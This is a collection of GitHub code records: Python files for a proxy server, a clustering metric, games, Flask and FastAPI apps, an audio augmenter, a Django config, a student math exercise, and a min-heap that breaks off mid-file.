+{"seq_id":"33933964684","text":"from http.server import BaseHTTPRequestHandler\nfrom urllib.parse import urlparse\nimport requests\nimport socketserver\nimport os\n\nfile_dir = os.path.dirname(__file__)\ndist_dir = os.path.join(file_dir, 'build')\n\nclass Proxy(BaseHTTPRequestHandler):\n\tPORT = 2628\n\tdef do_GET(self) -> 'None':\n\t\t\"\"\"\n\t\tForward everything under /api to the backend server at http://localhost:PORT\n\t\t\"\"\"\n\t\tparsed_url = urlparse(self.path)\n\t\tif parsed_url.path.startswith('/api'):\n\t\t\t# Forward the request to the backend server\n\t\t\tresponse = requests.get('http://localhost:%d%s' % (self.PORT, self.path))\n\t\t\tself.send_response(response.status_code)\n\t\t\tfor header, value in response.headers.items():\n\t\t\t\tself.send_header(header, value)\n\t\t\tself.end_headers()\n\t\t\tself.wfile.write(response.content)\n\t\telse:\n\t\t\t# Serve files in the dist directory\n\t\t\tself.send_response(200)\n\t\t\tself.end_headers()\n\t\t\tpath = 'index.html' if parsed_url.path == '/' else parsed_url.path[1:]\n\t\t\twith open(os.path.join(dist_dir, path), 'rb') as f:\n\t\t\t\tself.wfile.write(f.read())\n\nclass ServerWithProxy:\n\tPORT = 8081\n\t\"\"\"\n\tThis is a simple server that proxies API calls to the real backend server.\n\t\"\"\"\n\tdef start(self) -> 'None':\n\t\tself.server = socketserver.TCPServer(('0.0.0.0', self.PORT), Proxy)\n\t\tself.server.serve_forever()\n\nif __name__ == '__main__':\n\tServerWithProxy().start()","repo_name":"Crissium/SilverDict","sub_path":"http_server/http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"78"}
+{"seq_id":"10913501586","text":"import numpy as np\r\nfrom sklearn.utils import check_X_y\r\nfrom sklearn.utils import safe_indexing\r\nfrom sklearn.metrics.pairwise import pairwise_distances\r\nfrom sklearn.preprocessing import LabelEncoder\r\n\r\n\r\ndef check_number_of_labels(n_labels, n_samples):\r\n if not 1 < n_labels < n_samples:\r\n raise ValueError(\"Number of labels is %d. Valid values are 2 \"\r\n \"to n_samples - 1 (inclusive)\" % n_labels)\r\n\r\n\r\ndef score_function(X, labels):\r\n \"\"\"Computes Score Function.\r\n\r\n Score Function is a bounded Cluster Validity Index. It is based on\r\n standard cluster properties and is proved to be better than or atleast as\r\n good as existing validation indices for hyperspheroidal clusters. The\r\n score function is a combination of two terms: the distance between\r\n clusters (intercluster distance) and the distance inside a cluster (intra-\r\n cluster distance). Also, the score function can used for two purposes:\r\n 1) to estimate the number of clusters; and\r\n 2) to evaluate the quality of the clustering results.\r\n\r\n DRAWBACKS OF EXISTING VALIDITY INDICES :\r\n Most current validity indices only cover a subset of important aspects of\r\n clusters. Moreover, these indices are relevant only for data sets\r\n containing at least two clusters. As a result, these indices are useful in\r\n certain situations and are not of general-purpose.\r\n\r\n The score function is tested against four existing validity indices, that\r\n are Dunn index, Davies-Bouldin index, Silhouette index, Maulik-\r\n Bandyopadhyay index on several artificial and real-life data sets to\r\n evaluate the performance of the score function. It is found to be always\r\n as good or better than these indices in the case of hyperspheroidal\r\n clusters. It also works well on multidimensional data sets and is able to\r\n accommodate unique and sub-cluster cases.\r\n * Score Function has a linear computational complexity.\r\n\r\n # DOCTEST FOR SCORE FUNCTION\r\n\r\n >>> from sklearn.cluster import KMeans\r\n >>> from sklearn.datasets import load_iris, load_wine\r\n >>>\r\n >>> # TEST ON IRIS DATA\r\n >>>\r\n >>> loader = load_iris()\r\n >>> data = loader.data\r\n >>>\r\n >>> n_samples, n_features = data.shape\r\n >>> unique_labels = len(np.unique(loader.target))\r\n >>> labels = loader.target\r\n >>> est = KMeans(init='random', n_clusters=unique_labels, n_init=10)\r\n >>> fit_data = est.fit(data)\r\n >>> score_function(data, est.labels_)\r\n 0.521\r\n >>>\r\n >>> # TEST ON WINE DATA\r\n >>>\r\n >>> loader = load_wine()\r\n >>> data = loader.data\r\n >>>\r\n >>> n_samples, n_features = data.shape\r\n >>> unique_labels = len(np.unique(loader.target))\r\n >>> labels = loader.target\r\n >>> est = KMeans(init='random', n_clusters=unique_labels, n_init=10)\r\n >>> fit_data = est.fit(data)\r\n >>> score_function(data, est.labels_)\r\n 0.161\r\n\r\n Parameters\r\n ----------\r\n X : array-like, shape (``n_samples``, ``n_features``)\r\n List of ``n_features``-dimensional data points. Each row corresponds\r\n to a single data point.\r\n\r\n labels : array-like, shape (``n_samples``,)\r\n Predicted labels for each sample.\r\n\r\n Returns\r\n -------\r\n sf: float\r\n The resulting Score Function.\r\n\r\n References\r\n ----------\r\n .. [1] Saitta S., Raphael B., Smith I.F.C. (2007).\r\n `\"A Bounded Index for Cluster Validity\"\r\n `__.\r\n Perner P.(eds) Machine Learning and Data Mining in Pattern Recognition.\r\n Lecture Notes in Computer Science, vol 4571.\r\n \"\"\"\r\n # Pre-processing and validation of input data and labels\r\n X, labels = check_X_y(X, labels)\r\n le = LabelEncoder()\r\n labels = le.fit_transform(labels)\r\n\r\n n_samples, _ = X.shape\r\n n_labels = len(le.classes_)\r\n\r\n check_number_of_labels(n_labels, n_samples)\r\n\r\n # Mean of the entire data. Same as z_tot in the original paper.\r\n data_mean = np.mean(X, axis=0)\r\n\r\n # cluster_size : is a 1D-array of length \"n_labels\"\r\n # (i.e. number of unique labels or number of unique clusters)\r\n # It stores the number of data points in each cluster.\r\n cluster_size = np.zeros(n_labels)\r\n # intra_dists: It stores the mean euclidean distance between\r\n # all points belonging to a cluster and their cluster centroid.\r\n # Since there are \"n_labels\" unique clusters, the variable is\r\n # a 1D-array of length \"n_labels\".\r\n intra_dists = np.zeros(n_labels)\r\n # intra_centroid_dists: It stores the product of euclidean distance\r\n # between a cluster centroid and the centroid of\r\n # the entire data to the number of elements of that cluster.\r\n # Acc. to paper : intra_centroid_dists[i] = ||z_i - z_tot|| * n_i,\r\n # where \"i\" is a particular cluster.\r\n # Since there are \"n_labels\" unique clusters, the variable is a\r\n # 1D-array of length \"n_labels\".\r\n intra_centroid_dists = np.zeros(n_labels)\r\n # centroids: stores the centroid of each cluster.\r\n centroids = np.zeros((n_labels, len(X[0])), dtype=np.float)\r\n\r\n for k in range(n_labels):\r\n # Retrieve all data points belonging to cluster \"k\".\r\n cluster_k = safe_indexing(X, labels == k)\r\n # Find number of data points in cluster \"k\" and save them.\r\n cluster_size[k] = len(cluster_k)\r\n # Finding the centroid of cluster_k\r\n centroids[k] = cluster_k.mean(axis=0)\r\n\r\n # Compute intra_centroid_dists[k] acc. to the formula in the paper :\r\n # intra_centroid_dists[k] = ||z_k - z_tot|| * n_k,\r\n # where \"k\" is a particular cluster.\r\n intra_centroid_dists[k] = \\\r\n pairwise_distances([centroids[k]], [data_mean],\r\n metric='euclidean') * cluster_size[k]\r\n # Compute mean euclidean distance between all points belonging to\r\n # cluster \"k\" and the centroid of cluster \"k\".\r\n intra_dists[k] = np.mean(pairwise_distances(cluster_k, [centroids[k]],\r\n metric='euclidean'))\r\n\r\n # Compute \"between class distance\"(bcd).\r\n bcd = np.mean(intra_centroid_dists) / n_samples\r\n # Compute \"within class distance\"(wcd).\r\n wcd = np.sum(intra_dists)\r\n\r\n # return score function\r\n return 1 - 1 / np.exp(np.exp(bcd - wcd))\r\n","repo_name":"sairajk/ML-metrics","sub_path":"doc_test.py","file_name":"doc_test.py","file_ext":"py","file_size_in_byte":6352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"16744149081","text":"import random\n\n\ndef yahtzee():\n print(\"Welcome to Yahtzee.\")\n # print(\"Calb was here\")\n scoring_options = [\"01. ones\", \"02. twos\", \"03. threes\", \"04. fours\", \"05. fives\", \"06. sixes\",\n \"07. three of a kind\", \"08. four of a kind\", \"09. full house\", \"10. small straight\",\n \"11. large straight\", \"12. chance\", \"13. yahtzee\"]\n\n upper_section = 0\n num_yahtzees = 0\n score = 0\n\n while len(scoring_options) > 0:\n choice = input(\"Press enter to roll the dice\")\n die1 = random.randint(1, 6)\n die2 = random.randint(1, 6)\n die3 = random.randint(1, 6)\n die4 = random.randint(1, 6)\n die5 = random.randint(1, 6)\n print(str(die1) + \", \" + str(die2) + \", \" + str(die3) + \", \" + str(die4) + \", \" + str(die5))\n count = 0\n while count < 2:\n choice = input(\"which dice are you keeping: \")\n choice = set(choice)\n if \"1\" not in choice:\n die1 = random.randint(1, 6)\n if \"2\" not in choice:\n die2 = random.randint(1, 6)\n if \"3\" not in choice:\n die3 = random.randint(1, 6)\n if \"4\" not in choice:\n die4 = random.randint(1, 6)\n if \"5\" not in choice:\n die5 = random.randint(1, 6)\n print(str(die1) + \", \" + str(die2) + \", \" + str(die3) + \", \" + str(die4) + \", \" + str(die5))\n count += 1\n print()\n\n for val in scoring_options:\n print(val)\n\n while True:\n choice = input(\"Pick a scoring option: \")\n if choice.isdigit():\n tf = False\n for i in range(0, len(scoring_options)):\n if int(choice) == int(scoring_options[i][0:2]):\n choice = scoring_options[i][4:100]\n scoring_options.pop(i)\n tf = True\n break\n if tf:\n break\n else:\n print(\"Error\")\n else:\n print(\"Error\")\n\n dice = [die1, die2, die3, die4, die5]\n dice.sort()\n\n if choice == \"ones\":\n if die1 == 1:\n score += 1\n upper_section += 1\n if die2 == 1:\n score += 1\n upper_section += 1\n if die3 == 1:\n score += 1\n upper_section += 1\n if die4 == 1:\n score += 1\n upper_section += 1\n if die5 == 1:\n score += 1\n upper_section += 1\n elif choice == \"twos\":\n if die1 == 2:\n score += 2\n upper_section += 2\n if die2 == 2:\n score += 2\n upper_section += 2\n if die3 == 2:\n score += 2\n upper_section += 2\n if die4 == 2:\n score += 2\n upper_section += 2\n if die5 == 2:\n score += 2\n upper_section += 2\n elif choice == \"threes\":\n if die1 == 3:\n score += 3\n upper_section += 3\n if die2 == 3:\n score += 3\n upper_section += 3\n if die3 == 3:\n score += 3\n upper_section += 3\n if die4 == 3:\n score += 3\n upper_section += 3\n if die5 == 3:\n score += 3\n upper_section += 3\n elif choice == \"fours\":\n if die1 == 4:\n score += 4\n upper_section += 4\n if die2 == 4:\n score += 4\n upper_section += 4\n if die3 == 4:\n score += 4\n upper_section += 4\n if die4 == 4:\n score += 4\n upper_section += 4\n if die5 == 4:\n score += 4\n upper_section += 4\n elif choice == \"fives\":\n if die1 == 5:\n score += 5\n upper_section += 5\n if die2 == 5:\n score += 5\n upper_section += 5\n if die3 == 5:\n score += 5\n upper_section += 5\n if die4 == 5:\n score += 5\n upper_section += 5\n if die5 == 5:\n score += 5\n upper_section += 5\n elif choice == \"sixes\":\n if die1 == 6:\n score += 6\n upper_section += 6\n if die2 == 6:\n score += 6\n upper_section += 6\n if die3 == 6:\n score += 6\n upper_section += 6\n if die4 == 6:\n score += 6\n upper_section += 6\n if die5 == 6:\n score += 6\n upper_section += 6\n elif choice == \"three of a kind\":\n if dice[0] == dice[1] and dice[1] == dice[2]:\n score += sum(dice)\n elif dice[1] == dice[2] and dice[2] == dice[3]:\n score += sum(dice)\n elif dice[2] == dice[3] and dice[3] == dice[4]:\n score += sum(dice)\n elif choice == \"four of a kind\":\n if dice[0] == dice[1] and dice[1] == dice[2] and dice[2] == dice[3]:\n score += sum(dice)\n elif dice[1] == dice[2] and dice[2] == dice[3] and dice[3] == dice[4]:\n score += sum(dice)\n elif choice == \"full house\":\n if dice[0] == dice[1] and dice[2] == dice[3] == dice[4]:\n score += 25\n elif dice[0] == dice[1] == dice[2] and dice[3] == dice[4]:\n score += 25\n elif choice == \"small straight\":\n dice = set(dice)\n dice = list(dice)\n if len(dice) >= 4:\n if dice[0] + 1 == dice[1] and dice[1] + 1 == dice[2] and dice[2] + 1 == dice[3]:\n score += 30\n elif dice[1] == dice[2] and dice[2] == dice[3] + 1 and dice[3] == dice[4] + 1:\n score += 30\n elif choice == \"large straight\":\n if dice[0] + 1 == dice[1] and dice[1] + 1 == dice[2] and dice[2] + 1 == dice[3] and dice[3] + 1 == dice[4]:\n score += 40\n elif choice == \"chance\":\n score += sum(dice)\n elif choice == \"yahtzee\":\n if dice[0] == dice[1] == dice[2] == dice[3] == dice[4]:\n num_yahtzees += 1\n if num_yahtzees < 3:\n scoring_options.append(\"13. yahtzee\")\n if num_yahtzees == 1:\n score += 50\n if num_yahtzees > 1:\n score += 100\n\n print(\"You have \" + str(score) + \" points.\")\n\n if upper_section >= 63:\n print(\"Your score for the upper section was more than 63!\")\n print(\"You get the upper section bonus!\")\n score += 35\n\n print()\n print(\"Your final score was: \" + str(score) + \" points!\")\n\n\nyahtzee()\n","repo_name":"EdwardStanford7/Random-Projects","sub_path":"Yahtzee.py","file_name":"Yahtzee.py","file_ext":"py","file_size_in_byte":7169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2245796902","text":"from flask import redirect, url_for, render_template\nfrom flask_login import current_user\nfrom ... import main\nfrom ...forms.forms import DiaryCommonForm\nfrom ....models import Category, OptionalCategory\n\n@main.route('/diary_common/', methods=['GET', 'POST'])\ndef diary_common(date):\n form = DiaryCommonForm()\n query_result_list = OptionalCategory.query.filter_by(\n user=current_user._get_current_object()).order_by(\n OptionalCategory.optional_category.asc()).all()\n optional_category_list = [(cate.optional_category, cate.name) for cate in query_result_list ]\n form.category.choices += optional_category_list\n\n if form.is_submitted() and form.category.data != '':\n category = form.category.data\n category = int(category)\n\n if category == Category.FREE:\n return redirect(url_for('.diary_free_new', date=date))\n elif category == Category.SLEEP:\n return redirect(url_for('.diary_sleep_new', date=date))\n elif category == Category.DRINK:\n return redirect(url_for('.diary_drink_new', date=date))\n elif category == Category.READ:\n return redirect(url_for('.diary_read_new', date=date))\n else:\n return redirect(\n url_for('.diary_option_new', date=date, optional_category=category))\n\n return render_template(\n 'diary/diary_common.html',\n form = form,\n )\n","repo_name":"ShinyaMoriyama/dekigotodiary","sub_path":"app/main/views/diary/diary_common.py","file_name":"diary_common.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13221333215","text":"# Put the code for your API here.\nimport os\nimport numpy as np\nimport pandas as pd\n\nfrom fastapi import FastAPI\nfrom typing import Union, Optional\nfrom pydantic import BaseModel, Field\nfrom ml_pipeline.ml.data import process_data\nfrom ml_pipeline.ml.model import load_model, inference\n\n\nif \"DYNO\" in os.environ and os.path.isdir(\".dvc\"):\n os.system(\"dvc config core.no_scm true\")\n if os.system(\"dvc pull\") != 0:\n exit(\"dvc pull failed\")\n os.system(\"rm -r .dvc .apt/usr/lib/dvc\")\n\n\nclass Data(BaseModel):\n age: Optional[Union[int, list]] = [39, 52]\n workclass: Optional[Union[str, list]] = ['State-gov', 'Self-emp-inc']\n fnlgt: Optional[Union[int, list]] = [77516, 287927]\n education: Optional[Union[str, list]] = ['Bachelors', 'HS-grad']\n education_num: Optional[Union[int, list]] = Field([13, 9], alias='education-num')\n marital_status: Optional[Union[str, list]] = Field(['Never-married', 'Married-civ-spouse'], alias='marital-status')\n occupation: Optional[Union[str, list]] = ['Adm-clerical', 'Exec-managerial']\n relationship: Optional[Union[str, list]] = ['Not-in-family', 'Wife']\n race: Optional[Union[str, list]] = ['White', 'White']\n sex: Optional[Union[str, list]] = ['Male', 'Female']\n capital_gain: Optional[Union[int, list]] = Field([2174, 15024], alias='capital-gain')\n capital_loss: Optional[Union[int, list]] = Field([0, 0], alias='capital-loss')\n hours_per_week: Optional[Union[int, list]] = Field([40, 40], alias='hours-per-week')\n native_country: Optional[Union[str, list]] = Field(['United-States', 'United-States'],\n alias='native-country')\n\nroot_path = os.path.dirname(os.path.abspath(__file__))\nmodel = load_model(root_path, 'model.pkl')\npreprocessor = load_model(root_path, 'preprocessor.pkl')\nlb = load_model(root_path, 'lb.pkl')\n\napp = FastAPI()\n\n\n@app.get(\"/\")\nasync def get_items():\n return {\"message\": \"Welcome to lightGBM model deployment!\"}\n\n\n@app.post(\"/inference\")\nasync def predict(data: Data):\n cat_features = [\n \"workclass\",\n \"education\",\n \"marital-status\",\n \"occupation\",\n \"relationship\",\n \"race\",\n \"sex\",\n \"native-country\",\n ]\n\n inputData = data.dict(by_alias=True)\n for key, val in inputData.items():\n if not isinstance(val, list):\n inputData[key] = [val]\n\n df = pd.DataFrame(inputData)\n\n X, y, _, _ = process_data(\n df,\n categorical_features=cat_features,\n training=False,\n preprocessor=preprocessor,\n lb=lb\n )\n\n pred = list(inference(model, X))\n for key, val in enumerate(pred):\n if val == 0:\n pred[key] = '<=50K'\n else:\n pred[key] = '>50K'\n\n return {\"prediction\": pred}\n\n\n\n","repo_name":"zsun316/Census-Income-Classification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22654719432","text":"\"\"\"\n Augmenter that apply vocal tract length perturbation (VTLP) operation to audio.\n\"\"\"\n\nfrom nlpaug.augmenter.audio import AudioAugmenter\nimport nlpaug.model.audio as nma\nfrom nlpaug.util import Action\n\n\nclass VtlpAug(AudioAugmenter):\n # https://pdfs.semanticscholar.org/3de0/616eb3cd4554fdf9fd65c9c82f2605a17413.pdf\n \"\"\"\n :param tuple zone: Assign a zone for augmentation. Default value is (0.2, 0.8) which means that no any\n augmentation will be applied in first 20% and last 20% of whole audio.\n :param float coverage: Portion of augmentation. Value should be between 0 and 1. If `1` is assigned, augment\n operation will be applied to target audio segment. For example, the audio duration is 60 seconds while\n zone and coverage are (0.2, 0.8) and 0.7 respectively. 42 seconds ((0.8-0.2)*0.7*60) audio will be\n augmented.\n :param tuple factor: Input data vocal will be increased (decreased). Augmented value will be picked\n within the range of this tuple value. Vocal will be reduced if value is between 0 and 1.\n :param int fhi: Boundary frequency. Default value is 4800.\n :param str name: Name of this augmenter\n\n >>> import nlpaug.augmenter.audio as naa\n >>> aug = naa.VtlpAug()\n \"\"\"\n\n def __init__(self, sampling_rate, zone=(0.2, 0.8), coverage=0.1, fhi=4800, factor=(0.9, 1.1), \n name='Vtlp_Aug', verbose=0, stateless=True):\n super().__init__(\n action=Action.SUBSTITUTE, zone=zone, coverage=coverage, factor=factor, name=name, \n device='cpu', verbose=verbose, stateless=stateless)\n\n self.sampling_rate = sampling_rate\n self.fhi = fhi\n self.model = nma.Vtlp()\n\n def substitute(self, data):\n if self.duration is None:\n start_pos, end_pos = self.get_augment_range_by_coverage(data)\n else:\n start_pos, end_pos = self.get_augment_range_by_duration(data)\n\n warp_factor = self.get_random_factor()\n\n if not self.stateless:\n self.start_pos, self.end_pos, self.aug_factor = start_pos, end_pos, warp_factor\n\n return self.model.manipulate(data, start_pos=start_pos, end_pos=end_pos, sampling_rate=self.sampling_rate,\n warp_factor=warp_factor)\n","repo_name":"makcedward/nlpaug","sub_path":"nlpaug/augmenter/audio/vtlp.py","file_name":"vtlp.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":4179,"dataset":"github-code","pt":"78"}
+{"seq_id":"69840966971","text":"from flask import Flask\nfrom flask_marshmallow import Marshmallow\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom config.config import Config\n\ndb = SQLAlchemy()\nma = Marshmallow()\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object(Config())\n db.init_app(app)\n db.create_all(app=app)\n return app\n\n\ndef getMarshmallow(app):\n ma = Marshmallow(app)\n return ma\n","repo_name":"hermescanutodesouza/lubytest","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"20457505845","text":"###########################################################\n# Filename: tiles.py\n# Author: Shaun Rasmusen \n# Last Modified: 12/31/2020\n#\n# tile classes for numbers and mines\n#\n\nimport pygame\nimport colors\n\npygame.font.init()\n\nMINE = 9\n\nclass Tile(pygame.sprite.Sprite):\n def __init__(self, value, pos, theme, size = 16):\n pygame.sprite.Sprite.__init__(self)\n\n self.borderScale = .95\n self.image = pygame.Surface((size, size))\n self.tile = pygame.Surface((size * self.borderScale, size * self.borderScale))\n\n self.size = size\n self.theme = theme\n \n self.uncovered = False\n self.flagged = False\n self.value = value\n\n self.rect = (pos[0] * self.size, pos[1] * self.size)\n\n self.redraw()\n\n def redraw(self):\n return\n\n def draw(self, value, color):\n number = self.theme.tileFont.render(str(value), True, (255-color[0],255-color[1],255-color[2]))\n\n numMidwide = (self.size / 2) - (number.get_width() / 2)\n numMidhigh = (self.size / 2) - (number.get_height() / 2)\n tileMidwide = (self.size / 2) - ((self.size * self.borderScale) / 2)\n tileMidhigh = (self.size / 2) - ((self.size * self.borderScale) / 2)\n\n self.tile.fill(color)\n self.image.fill((abs(color[0]-32),abs(color[1]-32),abs(color[2]-32)))\n \n self.image.blit(self.tile, (tileMidwide,tileMidhigh))\n self.image.blit(number, (numMidwide,numMidhigh))\n\n def setUncovered(self, uncovered):\n if not self.flagged:\n self.uncovered = uncovered\n self.redraw()\n\n def isUncovered(self):\n return self.uncovered\n\n def setFlagged(self, flagged):\n if not self.uncovered:\n self.flagged = flagged\n self.redraw()\n\n def isFlagged(self):\n return self.flagged\n\n def getValue(self):\n return int(self.value) if self.value != 'X' else 9\n\n def setTheme(self, theme):\n self.theme = theme\n\nclass NumberTile(Tile):\n def __init__(self, value, pos, theme, size = 16):\n super().__init__(value, pos, theme, size)\n\n def redraw(self):\n if self.uncovered:\n if self.value > 0:\n self.draw(self.value, self.theme.tileColor)\n else:\n self.image.fill(self.theme.tileColor)\n elif self.flagged:\n self.draw(\"F\", self.theme.tileCoverColor)\n else:\n self.draw(\"\", self.theme.tileCoverColor)\n\nclass MineTile(Tile):\n def __init__(self, pos, theme, size = 16):\n super().__init__(MINE, pos, theme, size)\n\n def redraw(self):\n if self.uncovered:\n self.draw(\"X\", self.theme.mineColor)\n elif self.flagged:\n self.draw(\"F\", self.theme.tileCoverColor)\n else:\n self.draw(\"\", self.theme.tileCoverColor)\n","repo_name":"ardentras/minesweepyr","sub_path":"src/tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14200568536","text":"import sys\r\nsys.setrecursionlimit(10**6)\r\ninput = sys.stdin.readline\r\n\r\ndef DFS(V,color):\r\n visited[V] = color\r\n for i in tree[V]:\r\n if visited[i] == 0:\r\n if not DFS(i,-color):\r\n return False\r\n elif visited[i] == color:\r\n return False\r\n return True\r\n\r\nfor _ in range(int(input())):\r\n V, E = map(int, input().split())\r\n tree = [[]for _ in range(V+1)]\r\n visited = [0]*(V+1)\r\n flag = 0\r\n for _ in range(E):\r\n u, v = map(int, input().split())\r\n tree[u].append(v)\r\n tree[v].append(u)\r\n\r\n for i in range(V+1):\r\n if visited[i] == 0:\r\n if not DFS(i,1):\r\n print(\"NO\")\r\n break\r\n else:\r\n print(\"YES\")","repo_name":"SimSimEEE/crafton_jungle_beakjoon","sub_path":"백준/Gold/1707. 이분 그래프/이분 그래프.py","file_name":"이분 그래프.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26359871631","text":"from django.apps import AppConfig\n\nfrom .utils_delete import delete_host\n\n\nclass LeidosCloudAppConfig(AppConfig):\n # Standard Django contents of the appconfig\n name = \"leidoscloud\"\n verbose_name = \"Leidos Cloud\"\n\n # Our custom method to run the death playbook on Django startup\n def ready(self):\n # Run the population script if it does not already exist\n # Check for an expected entry\n API = self.get_model(\"API\")\n\n try:\n if API.objects.filter(name=\"none\").count() == 0:\n from .populate_db import populate\n\n print(\"Database empty: running population script\")\n populate()\n except:\n print(\"Failed to populate database. You likely haven't migrated yet.\")\n\n # Only attempt to update transition if transition table exists\n from django.db import connection\n\n # Hardcoded hack but gets the job done for now\n if \"leidoscloud_transition\" in connection.introspection.table_names():\n\n # Import here so the application can still start\n transition = self.get_model(\"Transition\")\n from django.utils import timezone\n from .utils_host import get_current_cloud_host\n\n try:\n latest_transition = transition.objects.latest(\"start_time\")\n current_host = get_current_cloud_host()\n # First time starting on new host actions:\n if latest_transition.end_provider == current_host:\n if latest_transition.end_time is None:\n latest_transition.succeeded = True\n latest_transition.end_time = timezone.now()\n latest_transition.save()\n # The transition succeeded! Let's delete the previous instance\n delete_host(latest_transition.start_provider)\n\n except transition.DoesNotExist:\n print(\"Could not find a previous transition to update the end_time on!\")\n except Exception as e:\n print(\"failed to update transition: probably: db not ready yet\")\n print(e)\n","repo_name":"AidanRafferty/LeidosCloud","sub_path":"leidoscloud/leidoscloud/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"32974681097","text":"'''Data la parabola y = ax² + bx + c, definisci due funzioni per calcolarne i punti significativi: vertice e fuoco.\nLe due funzioni ricevono come parametri a, b, c e restituiscono il valore calcolato'''\n\ndef fuoco(a, b, c):\n delta = b**2 - 4*a*c\n x_fuoco = -b/2*a\n y_fuoco = (1-delta)/4*a\n return x_fuoco, y_fuoco\n\ndef vertice(a, b, c):\n delta = b**2 - 4*a*c\n x_vertice = -b/2*a\n y_vertice = -delta/4*a\n return x_vertice, y_vertice\n\ntry:\n def main():\n a = float(input(\"Definisci il valore di a: \"))\n b = float(input(\"Definisci il valore di b: \"))\n c = float(input(\"Definisci il valore di c: \"))\n ris_fuoco = fuoco(a, b, c)\n ris_vertice = vertice(a, b, c)\n print(\"Le coordinate del vertice della parabola: \", ris_vertice)\n print(\"Le coordinate del fuoco della parabola: \", ris_fuoco)\nexcept:\n print('''Devi mettere solo numeri arabi e al posto della\n \",\" metti \".\" e riavvia il programma''')\n\nmain()","repo_name":"Drinkwhat/Scuola","sub_path":"2°F/es_per_2021-01-19/es2p121.py","file_name":"es2p121.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42671340235","text":"#Daniel Sebastian Badillo Neira 2220071\r\nclass Nodo:\r\n def __init__(self, dato):\r\n self.dato = dato\r\n self.padre = None\r\n self.izquierdo = None\r\n self.derecho = None\r\n \r\nclass MinHeap:\r\n def __init__(self):\r\n self.root = None\r\n self.tamaño = 0\r\n\r\n def insert(self, dato):\r\n nuevo_nodo = Nodo(dato)\r\n if self.root is None:\r\n self.root = nuevo_nodo\r\n else:\r\n cola = [self.root]\r\n \r\n while len(cola) > 0:\r\n current = cola[0]\r\n if current.izquierdo is None:\r\n current.izquierdo = nuevo_nodo\r\n nuevo_nodo.padre = current\r\n break\r\n\r\n elif current.derecho is None:\r\n current.derecho = nuevo_nodo\r\n nuevo_nodo.padre = current\r\n break\r\n else:\r\n cola.append(current.izquierdo)\r\n cola.append(current.derecho)\r\n cola.pop(0)\r\n self.ubicar(nuevo_nodo)\r\n self.tamaño +=1\r\n \r\n\r\n def ubicar(self, node):\r\n while node.padre is not None and node.padre.dato > node.dato:\r\n temp = node.dato\r\n node.dato = node.padre.dato\r\n node.padre.dato = temp\r\n node = node.padre\r\n\r\n def obtener_last(self):\r\n if self.root is None:\r\n return None\r\n cola = [self.root]\r\n last_node = None\r\n while len(cola) > 0:\r\n current = cola[0]\r\n last_node = current\r\n if current.izquierdo is not None:\r\n cola.append(current.izquierdo)\r\n if current.derecho is not None:\r\n cola.append(current.derecho)\r\n cola.pop(0)\r\n return last_node\r\n \r\n def extraerMin(self):\r\n if self.root is None:\r\n return None\r\n minimo = self.root.dato\r\n ultimo = self.obtener_last()\r\n\r\n if ultimo.dato != self.root.dato:\r\n self.root.dato = ultimo.dato\r\n if ultimo == ultimo.padre.izquierdo:\r\n ultimo.padre.izquierdo = None\r\n else:\r\n ultimo.padre.derecho = None\r\n self.hundir(self.root)\r\n else:\r\n self.root = None\r\n\r\n \r\n self.tamaño-=1\r\n return minimo\r\n\r\n def hundir(self, node):\r\n while True:\r\n nodo_min = node\r\n if node.izquierdo is not None and node.izquierdo.dato < nodo_min.dato:\r\n nodo_min = node.izquierdo\r\n if node.derecho is not None and node.derecho.dato < nodo_min.dato:\r\n nodo_min = node.derecho\r\n if nodo_min is not node:\r\n temp = node.dato\r\n node.dato = nodo_min.dato \r\n nodo_min.dato = temp\r\n node = nodo_min\r\n else:\r\n break\r\n \r\n def por_niveles(self):\r\n if self.root is None:\r\n print('None')\r\n return 0\r\n cola = [self.root]\r\n while len(cola) > 0:\r\n current = cola.pop(0)\r\n print(current.dato)\r\n if current.izquierdo is not None:\r\n cola.append(current.izquierdo)\r\n if current.derecho is not None:\r\n cola.append(current.derecho)\r\n\r\n def pre_order(self):\r\n if self.root is None:\r\n print('None')\r\n return 0\r\n cola = [self.root]\r\n while len(cola) > 0:\r\n current = cola.pop((len(cola)-1))\r\n print(current.dato)\r\n if current.derecho is not None:\r\n cola.append(current.derecho)\r\n if current.izquierdo is not None:\r\n cola.append(current.izquierdo)\r\n \r\n\r\nminHeap = MinHeap()\r\nminHeap.insert(10)\r\nminHeap.insert(30)\r\nminHeap.insert(40)\r\nminHeap.insert(70)\r\nminHeap.insert(15)\r\nminHeap.insert(1)\r\nminHeap.insert(0)\r\n\r\nprint('Recorrido en Pre-Order')\r\nminHeap.pre_order()\r\n\r\nprint('Recorrido en Por 